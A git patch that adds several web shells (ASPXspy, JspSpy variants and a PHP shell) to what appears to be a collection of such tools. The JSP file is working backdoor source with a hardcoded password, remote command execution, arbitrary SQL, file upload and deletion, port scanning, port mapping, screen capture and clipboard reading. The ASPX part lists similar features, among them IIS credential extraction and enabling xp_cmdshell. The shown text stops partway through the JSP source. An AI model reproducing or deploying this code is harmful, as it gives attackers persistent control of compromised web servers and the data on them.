From 98001733faf081e8a274601ce21500c7b5954d06 Mon Sep 17 00:00:00 2001 From: tennc Date: Sat, 12 Oct 2013 11:18:33 +0800 Subject: [PATCH] update 3 spy aspx php jsp 3 spy --- asp/ASPXspy2.aspx | 2579 +++++++++++++++++++++++++++++++++++++++++++ jsp/JspSpy.jsp | 2344 +++++++++++++++++++++++++++++++++++++++ jsp/JspSpy1.jsp | 2344 +++++++++++++++++++++++++++++++++++++++ jsp/JspSpyJDK51.jsp | 2323 ++++++++++++++++++++++++++++++++++++++ php/2011.php | 2144 +++++++++++++++++++++++++++++++++++ 5 files changed, 11734 insertions(+) create mode 100644 asp/ASPXspy2.aspx create mode 100644 jsp/JspSpy.jsp create mode 100644 jsp/JspSpy1.jsp create mode 100644 jsp/JspSpyJDK51.jsp create mode 100644 php/2011.php diff --git a/asp/ASPXspy2.aspx b/asp/ASPXspy2.aspx new file mode 100644 index 0000000..0df158b --- /dev/null +++ b/asp/ASPXspy2.aspx @@ -0,0 +1,2579 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="System.Data"%> +<%@ import Namespace="System.Management"%> +<%@ import Namespace="System.Data.OleDb"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.DirectoryServices"%> +<%@ import Namespace="System.ServiceProcess"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> +<%@ Import Namespace="System.Data.SqlClient"%> +<%@ import Namespace="Microsoft.VisualBasic"%> +<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%> + + + + + +ASPXspy + + + + +
+
+Password: + +

+Copyright © 2009 Bin -- www.rootkit.net.cn +

+
+
+ + + + + + + +
ASPXSpy Ver: 2009
+ | | | | | | | | | | | | | +
+
+
+
+

+<%--FileList--%> +
+ + + + + + +
Current Directory : +
+ + + + FilenameLast modifiedSizeAction + +
+
+
| Create Directory | Create File + | Kill Me +
+
+<%--FileEdit--%> +
+

Current File(import new file name and new file)
+ DefaultUTF-8 +

+

File Content
+ +

+

+
+<%--CloneTime--%> +
+

Alter file

+

Reference file(fullpath)

+

+

Set last modified »

+

Current file(fullpath)

+

+ +  + +  + +  + +

+

+CreationTime : + +LastWriteTime : + +LastAccessTime : + +

+

+ +

+
+<%--IISSpy--%> +
+ + +IDIIS_USERIIS_PASSDomainPath + +
+
+<%--Process--%> +
+ + +IDProcessThreadCountPriorityAction + +
+
+<%--CmdShell--%> +
+

CmdPath:
+ +

+ Argument:
+ +
+
+
+<%--Services--%> +
+ + +IDNamePathStateStartMode + +
+
+<%--Sysinfo--%> +
+
+
    +

    +
    +
      +

      +
      +
        +
        +<%--UserInfo--%> +
        + + + +
        +
        +<%--SuExp--%> +
        + + + + + + + + + + + + +
        UserName : PassWord : Port :
        CmdShell  : 
        +
        + + + + + + +
        

+
        

+
        

+<%--Reg--%>

+
        

+
        Registry Path : 
        

+

+

+

+KeyValue

+

+
        

+
        

+<%--PortScan--%>

+
        

+
        

+IP :  Port :  

+
        

+
        

+
        

+<%--DataBase--%>

+
        

+
        ConnString : MSSQLACCESS
        

+
        

+
        

+
        

+Please select a database : 

+SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup

+
        

+
         Run SQL 
        

+
        

+
        

+
        

+

+
        

+
        

+
        

+
        

+<%--PortMap--%>

+
        

+

+

+

+

+

+

+

+
        Local Ip : Local Port : Remote Ip : Remote Port : 

          
        

+<%--Search--%>

+
        

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+

+
        Keyword Use Regex
        Replace As Replace
        Search FileTypeFile NameFile Content
        Path
        

+
        

+
        

+

+File PathLast modifiedSize

+

+
        

+
        

+
        

+
        
\ No newline at end of file
diff --git a/jsp/JspSpy.jsp b/jsp/JspSpy.jsp
new file mode 100644
index 0000000..f167745
--- /dev/null
+++ b/jsp/JspSpy.jsp
@@ -0,0 +1,2344 @@
+锘<%@page pageEncoding="utf-8"%>
+<%@page import="java.io.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.util.regex.*"%>
+<%@page import="java.sql.*"%>
+<%@page import="java.nio.charset.*"%>
+<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
+<%@page import="java.text.*"%>
+<%@page import="java.net.*"%>
+<%@page import="java.util.zip.*"%>
+<%@page import="java.awt.*"%>
+<%@page import="java.awt.image.*"%>
+<%@page import="javax.imageio.*"%>
+<%@page import="java.awt.datatransfer.DataFlavor"%>
+<%@page import="java.util.prefs.Preferences"%>
+<%!
+/**
+* Code By Ninty
+* Date 2009-12-17
+* Blog http://www.Forjj.com/
+* Yue . I Love You.
+*/
+private static final String PW = "ninty"; //password
+private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
+private static final String REQUEST_CHARSET = "ISO-8859-1";
+private static final String PAGE_CHARSET = "UTF-8";
+private static final String CURRENT_DIR = "currentdir";
+private static final String MSG = "SHOWMSG";
+private static final String PORT_MAP = "PMSA";
+private static final String DBO = "DBO";
+private static final String SHELL_ONLINE = "SHELL_ONLINE";
+private static String SHELL_NAME = "";
+private static String WEB_ROOT = null; 
+private static String SHELL_DIR = null;
+public static Map ins = new HashMap();
+private static class MyRequest extends HttpServletRequestWrapper {
+public MyRequest(HttpServletRequest req) {
+super(req);
+}
+public String getParameter(String name) {
+try {
+String value = super.getParameter(name);
+if (name == null)
+return null;
+return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
+} catch (Exception e) {
+return null;
+}
+}
+}
+private static class DBOperator{
+private Connection conn = null;
+private Statement stmt = null;
+private String driver;
+private String url;
+private String uid;
+private String pwd;
+public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
+this(driver,url,uid,pwd,false);
+}
+public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
+Class.forName(driver);
+if (connect)
+this.conn = DriverManager.getConnection(url,uid,pwd);
+this.url = url;
+this.driver = driver;
+this.uid = uid;
+this.pwd = pwd;
+}
+public void connect() throws Exception{
+this.conn = DriverManager.getConnection(url,uid,pwd);
+}
+public Object execute(String sql) throws Exception {
+if (isValid()) {
+stmt = conn.createStatement();
+if (stmt.execute(sql)) {
+return stmt.getResultSet();
+} else {
+return stmt.getUpdateCount();
+}
+}
+throw new Exception("Connection is inValid.");
+}
+public void closeStmt() throws Exception{
+if (this.stmt != null)
+stmt.close();
+}
+public boolean isValid() throws Exception {
+return conn != null && !conn.isClosed();
+}
+public void close() throws Exception {
+if (isValid()) {
+closeStmt();
+conn.close();
+}
+}
+public boolean equals(Object o) {
+if (o instanceof DBOperator) {
+DBOperator dbo = (DBOperator)o;
+return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
+}
+return false;
+}
+}
+private static class StreamConnector extends Thread {
+private InputStream is;
+private OutputStream os;  
+public StreamConnector( InputStream is, OutputStream os ){
+this.is = is;
+this.os = os;
+}			  
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[8192];
+int length;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+out.write( buffer, 0, length );
+out.flush();
+}
+} catch(Exception e){}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){}
+}
+}
+private static class OnLineProcess {
+private String cmd = "first";
+private Process pro;
+public OnLineProcess(Process p){
+this.pro = p;
+}
+public void setPro(Process p) {
+this.pro = p;
+}
+public void setCmd(String c){
+this.cmd = c;
+}
+public String getCmd(){
+return this.cmd;
+}
+public Process getPro(){
+return this.pro;
+}
+public void stop(){
+this.pro.destroy();
+}
+}
+private static class OnLineConnector extends Thread {
+private OnLineProcess ol = null;
+private InputStream is;
+private OutputStream os;
+private String name;
+public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
+this.is = is;
+this.os = os;
+this.name = name;
+this.ol = ol;
+}
+public void run(){
+BufferedReader in  = null;
+BufferedWriter out = null;
+try{
+in  = new BufferedReader( new InputStreamReader(this.is));
+out = new BufferedWriter( new OutputStreamWriter(this.os));
+char buffer[] = new char[128];
+if(this.name.equals("exeRclientO")) {
+//from exe to client
+int length = 0;
+while((length = in.read( buffer, 0, buffer.length ))>0){
+String str = new String(buffer, 0, length);
+str = str.replace("&","&").replace("<","<").replace(">",">");
+str = str.replace(""+(char)13+(char)10,"
        ");
+str = str.replace("\n","
        ");
+out.write(str.toCharArray(), 0, str.length());
+out.flush();
+}
+} else {
+//from client to exe
+while(true) {
+while(this.ol.getCmd() == null) {
+Thread.sleep(500);
+}
+if (this.ol.getCmd().equals("first")) {
+this.ol.setCmd(null);
+continue;
+}
+this.ol.setCmd(this.ol.getCmd() + (char)10);
+char[] arr = this.ol.getCmd().toCharArray();
+out.write(arr,0,arr.length);
+out.flush();
+this.ol.setCmd(null);
+}
+}
+} catch(Exception e){
+}
+try{
+if(in != null)
+in.close();
+if(out != null)
+out.close();
+} catch( Exception e ){
+}
+}
+}
+private static class Table{
+private ArrayList rows = null;
+private boolean echoTableTag = false;
+public void setEchoTableTag(boolean v) {
+this.echoTableTag = v;
+}
+public Table(){
+this.rows = new ArrayList();
+}
+public void addRow(Row r) {
+this.rows.add(r);
+}
+public String toString(){
+StringBuilder html = new StringBuilder();
+if (echoTableTag)
+html.append("");
+for (Row r:rows) {
+html.append("");
+for (Column c:r.getColumns()) {
+html.append("");
+}
+html.append("");
+}
+if (echoTableTag)
+html.append("
        ");
+String vv = Util.htmlEncode(Util.getStr(c.getValue()));
+if (vv.equals(""))
+vv = " ";
+html.append(vv);
+html.append("
        ");
+return html.toString();
+}
+}
+private static class Row{
+private ArrayList cols = null;
+public Row(){
+this.cols = new ArrayList();
+}
+public void addColumn(Column n) {
+this.cols.add(n);
+}
+public ArrayList getColumns(){
+return this.cols;
+}
+}
+private static class Column{
+private String value;
+public Column(String v){
+this.value = v;
+}
+public String getValue(){
+return this.value;
+}
+}
+private static class Util{
+public static boolean isEmpty(String s) {
+return s == null || s.trim().equals("");
+}
+public static boolean isEmpty(Object o) {
+return o == null || isEmpty(o.toString());
+}
+public static String getSize(long size,char danwei) {
+if (danwei == 'M') {
+double v =  formatNumber(size / 1024.0 / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'G');
+}else {
+return v + "M";
+}
+} else if (danwei == 'G') {
+return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
+} else if (danwei == 'K') {
+double v = formatNumber(size / 1024.0,2);
+if (v > 1024) {
+return getSize(size,'M');
+} else {
+return v + "K";
+}
+} else if (danwei == 'B') {
+if (size > 1024) {
+return getSize(size,'K');
+}else {
+return size + "B";
+}
+}
+return ""+0+danwei;
+}
+public static double formatNumber(double value,int l) {
+NumberFormat format = NumberFormat.getInstance();
+format.setMaximumFractionDigits(l);
+format.setGroupingUsed(false);
+return new Double(format.format(value));
+}
+public static boolean isInteger(String v) {
+if (isEmpty(v))
+return false;
+return v.matches("^\\d+$");
+}
+public static String formatDate(long time) {
+SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
+return format.format(new java.util.Date(time));
+}
+public static String convertPath(String path) {
+return path != null ? path.replace("\\","/") : "";
+}
+public static String htmlEncode(String v) {
+if (isEmpty(v))
+return "";
+return v.replace("&","&").replace("<","<").replace(">",">");
+}
+public static String getStr(String s) {
+return s == null ? "" :s;
+}
+public static String getStr(Object s) {
+return s == null ? "" :s.toString();
+}
+public static String exec(String regex, String str, int group) {
+Pattern pat = Pattern.compile(regex);
+Matcher m = pat.matcher(str);
+if (m.find())
+return m.group(group);
+return null;
+}
+public static void outMsg(Writer out,String msg) throws Exception {
+outMsg(out,msg,"center");
+}
+public static void outMsg(Writer out,String msg,String align) throws Exception {
+if (msg.indexOf("java.lang.ClassNotFoundException") != -1)
+msg = "Can Not Find The Driver!
        " + msg;
+out.write("
        "+msg+"
        ");
+}
+}
+private static class UploadBean {
+private String fileName = null;
+private String suffix = null;
+private String savePath = "";
+private ServletInputStream sis = null;
+private byte[] b = new byte[1024];
+public UploadBean() {
+}
+public void setSavePath(String path) {
+this.savePath = path;
+}
+public void parseRequest(HttpServletRequest request) throws IOException {
+sis = request.getInputStream();
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!= -1) {
+s = new String(b, 0, a,PAGE_CHARSET);
+if ((k = s.indexOf("filename=\""))!= -1) {
+s = s.substring(k + 10);
+k = s.indexOf("\"");
+s = s.substring(0, k);
+File tF = new File(s);
+if (tF.isAbsolute()) {
+fileName = tF.getName();
+} else {
+fileName = s;
+}
+k = s.lastIndexOf(".");
+suffix = s.substring(k + 1);
+upload();
+}
+}
+}
+private void upload() {
+try {
+FileOutputStream out = new FileOutputStream(new File(savePath,fileName));
+int a = 0;
+int k = 0;
+String s = "";
+while ((a = sis.readLine(b,0,b.length))!=-1) {
+s = new String(b, 0, a);
+if ((k = s.indexOf("Content-Type:"))!=-1) {
+break;
+}
+}
+sis.readLine(b,0,b.length);
+while ((a = sis.readLine(b,0,b.length)) != -1) {
+s = new String(b, 0, a);
+if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
+break;
+}
+out.write(b, 0, a);
+}
+out.close();
+} catch (IOException ioe) {
+ioe.printStackTrace();
+}
+}
+}
+%>
+<%
+SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
+String myAbsolutePath = application.getRealPath(request.getServletPath());
+if (Util.isEmpty(myAbsolutePath)) {//for weblogic
+SHELL_NAME = request.getServletPath();
+myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
+SHELL_NAME=request.getContextPath()+SHELL_NAME;
+WEB_ROOT = new File(application.getResource("/").getPath()).toString();
+} else {
+WEB_ROOT = application.getRealPath("/");
+}
+SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
+if (session.getAttribute(CURRENT_DIR) == null)
+session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
+request = new MyRequest(request);
+if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
+String o = request.getParameter("o");
+if (o != null &&  o.equals("login")) {
+ins.get("login").invoke(request,response,session);
+return;
+} else if (o != null && o.equals("vLogin")) {
+ins.get("vLogin").invoke(request,response,session);
+return;
+} else {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+}
+}
+%>
+<%!
+private static interface Invoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
+public boolean doBefore();
+public boolean doAfter();
+}
+private static class DefaultInvoker implements Invoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+}
+public boolean doBefore(){
+return true;
+}
+public boolean doAfter() {
+return true;
+}
+}
+private static class ScriptInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");	
+
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class BeforeInvoker extends  DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("JspSpy Codz By - Ninty");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class AfterInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class DeleteBatchInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String files = request.getParameter("files");
+if (!Util.isEmpty(files)) {
+String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
+String[] arr = files.split(",");
+for (String fs:arr) {
+File f = new File(currentDir,fs);
+f.delete();
+}
+}
+JSession.setAttribute(MSG,"Delete Files Success!");
+response.sendRedirect(SHELL_NAME+"?o=index");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class ClipBoardInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        System Clipboard »
        "+
+"
        ");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
        "+
+"          "+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VRemoteControlInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("");
+out.println(""+
+"  "+
+"    "+
+"  "+
+"
        "+
+"        
        Remote Control »
        "+
+"           Speed(Second , dont be so fast)    Can Not Control Yet."+
+"        
        "+
+"      
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//GetScreen
+private static class GcInvoker extends DefaultInvoker {
+public boolean doBefore(){return false;}
+public boolean doAfter(){return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
+Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight());
+BufferedImage img = new Robot().createScreenCapture(rec);
+response.setContentType("image/jpeg");
+ImageIO.write(img,"jpg",response.getOutputStream());
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VPortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+if (Util.isEmpty(ip))
+ip = "127.0.0.1";
+if (Util.isEmpty(ports))
+ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
+if (Util.isEmpty(timeout)) 
+timeout = "2";
+out.println("
        "+
+"
        PortScan >>
        "+
+"
        "+
+"
        "+
+"IP :  Port :  Timeout 锛堢锛 :  "+
+"
        "+
+"
        "+
+"
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class PortScanInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+ins.get("vPortScan").invoke(request,response,JSession);
+String ip = request.getParameter("ip");
+String ports = request.getParameter("ports");
+String timeout = request.getParameter("timeout");
+int iTimeout = 0;
+if (Util.isEmpty(ip) || Util.isEmpty(ports))
+return;
+if (!Util.isInteger(timeout)) {
+timeout = "2";
+}
+iTimeout = Integer.parseInt(timeout);
+Map rs = new LinkedHashMap();
+String[] portArr = ports.split(",");
+for (String port:portArr) {
+try {
+Socket s = new Socket();
+s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
+s.close();
+rs.put(port,"Open");
+} catch (Exception e) {
+rs.put(port,"Close");
+}
+}
+out.println("
        ");
+Set> entrySet = rs.entrySet();
+for (Map.Entry e:entrySet) {
+String port = e.getKey();
+String value = e.getValue();
+out.println(ip+" : "+port+" ................................. "+value+"
        ");
+}
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VConnInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+Object obj = JSession.getAttribute(DBO);
+if (obj == null || !((DBOperator)obj).isValid()) {
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+//DBConnect
+private static class DbcInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String driver = request.getParameter("driver");
+String url = request.getParameter("url");
+String uid = request.getParameter("uid");
+String pwd = request.getParameter("pwd");
+String sql = request.getParameter("sql");
+String selectDb = request.getParameter("selectDb");
+if (selectDb == null)
+selectDb = JSession.getAttribute("selectDb").toString();
+else
+JSession.setAttribute("selectDb",selectDb);
+Object dbo = JSession.getAttribute(DBO);
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+if (dbo != null)
+((DBOperator)dbo).close();
+dbo = new DBOperator(driver,url,uid,pwd,true);
+} else {
+if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
+DBOperator oldDbo = (DBOperator)dbo;
+dbo = new DBOperator(driver,url,uid,pwd);
+if (!oldDbo.equals(dbo)) {
+((DBOperator)oldDbo).close();
+((DBOperator)dbo).connect();
+} else {
+dbo = oldDbo;
+}
+}
+} 
+DBOperator Ddbo = (DBOperator)dbo;
+JSession.setAttribute(DBO,Ddbo);
+Util.outMsg(out,"Connect To DataBase Success!");
+out.println("  ");
+out.println("
        "+
+"
        "+
+""+
+"
        DataBase Manager »
        "+
+""+
+"
        "+
+"Driver:"+
+"  "+
+"URL:"+
+""+
+"UID:"+
+""+
+"PWD:"+
+""+
+"DataBase:"+
+" "+
+""+
+"
        "+
+"
        ");
+out.println("
        "+
+"
        Run SQL query/queries on database :
        ");	
+} catch (Exception e) {
+//e.printStackTrace();
+throw e;
+}
+}
+}
+private static class ExecuteSQLInvoker extends DefaultInvoker{
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+String sql = request.getParameter("sql");
+String db = request.getParameter("selectDb");
+Object dbo = JSession.getAttribute(DBO);
+if (!Util.isEmpty(sql)) {
+if (dbo == null || !((DBOperator)dbo).isValid()) {
+response.sendRedirect(SHELL_NAME+"?o=vConn");
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+Object obj = ((DBOperator)dbo).execute(sql);
+if (obj instanceof ResultSet) {
+ResultSet rs = (ResultSet)obj;
+ResultSetMetaData meta = rs.getMetaData();
+int colCount = meta.getColumnCount();
+out.println("
        Query#0 : "+Util.htmlEncode(sql)+"
        ");
+out.println("");
+for (int i=1;i<=colCount;i++) {
+out.println("");
+}
+out.println("");
+Table tb = new Table();
+while(rs.next()) {
+Row r = new Row();
+for (int i = 1;i<=colCount;i++) {
+r.addColumn(new Column(rs.getString(i)));
+}
+tb.addRow(r);
+}
+out.println(tb.toString());
+out.println("
        "+meta.getColumnName(i)+"
        "+meta.getColumnTypeName(i)+"
        ");
+rs.close();
+((DBOperator)dbo).closeStmt();
+} else {
+out.println("
        affected rows : "+obj+"
        ");
+}
+}
+} else {
+ins.get("dbc").invoke(request,response,JSession);
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class VLoginInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+PrintWriter out = response.getWriter();
+out.println("
        "+
+"	  
        Password: "+
+"        "+
+"        "+
+"        "+
+"        

        "+
+"	  "+
+"Copyright © 2009 NinTy www.Forjj.com
        "+
+"    
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class LoginInvoker extends DefaultInvoker{
+public boolean doBefore() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+String inputPw = request.getParameter("pw");
+if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+return;
+} else {
+JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
+response.sendRedirect(SHELL_NAME+"?o=index");
+return;
+}
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class MyComparator implements Comparator{
+public int compare(File f1,File f2) {
+if (f1 != null && f2!= null) {
+if (f1.isDirectory()) {
+if (f2.isDirectory()) {
+return f1.getName().compareTo(f2.getName());
+} else {
+return -1;
+}
+} else { 
+if (f2.isDirectory()) {
+return 1;
+} else {
+return  f1.getName().compareTo(f2.getName());
+}
+}
+}
+return 0;
+}
+}
+private static class FileListInvoker extends DefaultInvoker {
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
+try {
+PrintWriter out = response.getWriter();
+String path = request.getParameter("folder");
+if (Util.isEmpty(path))
+path = JSession.getAttribute(CURRENT_DIR).toString();
+
+JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
+File file = new File(path);
+if (!file.exists()) {
+throw new Exception(path+"Dont Exists !");
+}
+JSession.setAttribute(CURRENT_DIR,path);
+File[] list = file.listFiles();
+Arrays.sort(list,new MyComparator());
+out.println("
        ");
+String cr = null;
+try {
+cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
+}catch(Exception e) {
+cr = "/";
+}
+File currentRoot = new File(cr);
+out.println("
        File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"
        ");
+out.println("
        "+
+""+
+"  "+
+"    "+
+"	"+
+"    "+
+"  "+
+"
        Current Directory  
        "+
+"
        ");
+out.println(""+
+""+
+""+
+""+
+"  "+
+"  "+
+"  "+
+"  "+
+"  "+
+"");
+if (file.getParent() != null) {
+out.println(""+
+""+
+""+
+"");	
+}
+int dircount = 0;
+int filecount = 0;
+for (File f:list) {
+if (f.isDirectory()) {
+dircount ++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+} else {
+filecount++;
+out.println(""+
+""+
+""+
+""+
+""+
+""+
+""+
+"");
+}
+}
+out.println(""+
+"  "+
+"  "+
+"
        "+
+"
         
        "+
+"Web Root"+
+" | Shell Directory"+
+" | New Directory | New File"+
+" | ");
+File[] roots = file.listRoots();
+for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")");
+if (i != roots.length -1) {
+out.println("|");
+} 
+}
+out.println("
         NameLast ModifiedSizeRead/Write/Execute 
        =Goto Parent
        0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"Del | Move | Pack
        "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+
+""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+""+
+"Edit | "+
+"Down | "+
+"Copy | "+
+"Move | "+
+"Property");
+if (f.getName().endsWith(".zip")) {
+out.println(" | UnPack");
+} else if (f.getName().endsWith(".rar")) {
+out.println(" | UnPack");
+} else {
+out.println(" | Pack");
+}
+out.println("
         Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
        ");
+out.println("
        ");
+} catch (Exception e) {
+e.printStackTrace();
+throw e;
+}
+}
+}
+private static class LogoutInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+Object dbo = JSession.getAttribute(DBO);
+if (dbo != null)
+((DBOperator)dbo).close();
+Object obj = JSession.getAttribute(PORT_MAP);
+if (obj != null) {
+ServerSocket s = (ServerSocket)obj;
+s.close();
+}
+Object online = JSession.getAttribute(SHELL_ONLINE);
+if (online != null)
+((OnLineProcess)online).stop();
+JSession.invalidate();
+response.sendRedirect(SHELL_NAME+"?o=vLogin");
+} catch (Exception e) {
+e.printStackTrace();
+throw e ;
+}
+}
+}
+private static class UploadInvoker extends DefaultInvoker {
+public boolean doBefore() {return false;}
+public boolean doAfter() {return false;}
+public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
+try {
+UploadBean fileBean = new UploadBean();
